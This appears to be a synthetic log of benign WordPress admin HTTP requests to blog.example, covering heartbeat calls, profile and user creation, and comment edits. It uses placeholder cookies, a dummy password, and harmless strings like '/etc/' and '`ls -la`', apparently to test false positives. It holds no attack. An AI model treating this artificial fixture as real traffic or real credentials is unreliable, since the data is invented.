{"method": "GET", "target": "/?customize_changeset_uuid=3a1c1c1e-e2b2-47ca-a042-c99fe3ad52dd&customize_theme=twentytwentyfive&customize_messenger_channel=preview-0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/customize.php?return=%2Fwp-admin%2Fthemes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203350"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 218", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-13&data%5Bwp-check-locked-posts%5D%5B%5D=post-11&data%5Bwp-check-locked-posts%5D%5B%5D=post-1&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-post&has_focus=true"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 82", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "interval=60&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-post&has_focus=false"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 94", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=closed-postboxes&closed=dashboard_primary&hidden=&closedpostboxesnonce=0&page=dashboard"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 41", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=ajax-tag-search&tax=post_tag&q=bob"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 142", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=query-attachments&post_id=0&query%5Borderby%5D=date&query%5Border%5D=DESC&query%5Bposts_per_page%5D=80&query%5Bpaged%5D=1&_ajax_nonce=0"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 33", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=wp-compression-test&test=1"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 54", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=wp-link-ajax&search=hello&_ajax_linking_nonce=0"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=oembed-cache&post=1&_ajax_nonce=0"}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203360.3913509845733642578125", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 377", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "post_title=Bob's+quick+title&post_name=bobs-first-post-2&mm=11&jj=09&aa=2026&hh=05&mn=48&ss=08&post_author=1&post_password=&post_category%5B%5D=0&post_category%5B%5D=1&tax_input%5Bpost_tag%5D=&comment_status=open&ping_status=open&_status=publish&_inline_edit=80b31520db&post_view=list&screen=edit-post&action=inline-save&post_type=post&post_ID=13&edit_date=true&post_status=all"}
{"method": "POST", "target": "/wp-admin/profile.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 467", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203362"], "body": "_wpnonce=931bec229d&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=1&color-nonce=1c207de10d&admin_color=modern&admin_bar_front=1&locale=site-default&user_login=editor1&first_name=Bob&last_name=&nickname=editor1&display_name=editor1&email=editor1%40example.com&url=http%3A%2F%2Fblog.example&description=I+write+about+%2Fetc%2F+and+%3Cem%3Ecats%3C%2Fem%3E.&pass1=&pass2=&new_application_password_name=&action=update&user_id=1&submit=Update+Profile"}
{"method": "GET", "target": "/wp-admin/profile.php?updated=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203362"], "body": ""}
{"method": "POST", "target": "/wp-admin/user-new.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 293", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/user-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203364"], "body": "action=createuser&_wpnonce_create-user=0a10e6c68f&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=author2&email=author2%40example.com&first_name=&last_name=&url=&pass1=Pw-for-author2-is-long%21&pass2=Pw-for-author2-is-long%21&send_user_notification=1&role=subscriber&createuser=Add+User"}
{"method": "GET", "target": "/wp-admin/users.php?update=add&id=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/user-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203364"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 79", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203365"], "body": "_ajax_nonce=575b959a1d&action=dim-comment&id=2&dimClass=unapproved&new=approved"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 81", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203365"], "body": "_ajax_nonce=575b959a1d&action=dim-comment&id=2&dimClass=unapproved&new=unapproved"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 358", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203369"], "body": "newcomment_author=&newcomment_author_email=&newcomment_author_url=&action=replyto-comment&comment_ID=2&comment_post_ID=1&status=&position=-1&checkbox=1&mode=detail&_ajax_nonce-replyto-comment=465b2dff40&_wp_unfiltered_html_comment=8f43bb2d1f&content=Thanks%2C+Jo!+Try+%60ls+-la%60+and+%3Cb%3Ethen%3C%2Fb%3E+restart.&id=1&comments_listing=all&approve_parent=1"}
{"method": "GET", "target": "/wp-admin/comment.php?action=editcomment&c=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203369"], "body": ""}
{"method": "POST", "target": "/wp-admin/comment.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 613", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/comment.php?action=editcomment&c=2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203373"], "body": "_wpnonce=e9770a5628&_wp_http_referer=%2Fwp-admin%2Fcomment.php%3Faction%3Deditcomment%26c%3D2&action=editedcomment&comment_ID=2&comment_post_ID=1&newcomment_author=Jo+Reader&newcomment_author_email=jo%40example.com&newcomment_author_url=https%3A%2F%2Fexample.org%2F&content=An+edited+comment%2C+it%27s+about+select+wines.&closedpostboxesnonce=b39bd4c73a&comment_status=1&mm=11&jj=09&aa=2026&hh=05&mn=45&ss=44&hidden_mm=11&cur_mm=11&hidden_jj=09&cur_jj=09&hidden_aa=2026&cur_aa=2026&hidden_hh=05&cur_hh=05&hidden_mn=45&cur_mn=49&comment_parent=0&save=Update&c=2&p=1&referredby=&_wp_original_http_referer=&noredir=1"}
{"method": "GET", "target": "/wp-admin/edit-comments.php?p=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/comment.php?action=editcomment&c=2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203373"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=23&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203386"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 263", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203393"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-10&data%5Bwp-check-locked-posts%5D%5B%5D=post-16&data%5Bwp-check-locked-posts%5D%5B%5D=post-3&data%5Bwp-check-locked-posts%5D%5B%5D=post-2&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-page&has_focus=true"}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=24&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/botany-flowers-closeup.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/red-hibiscus-closeup.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
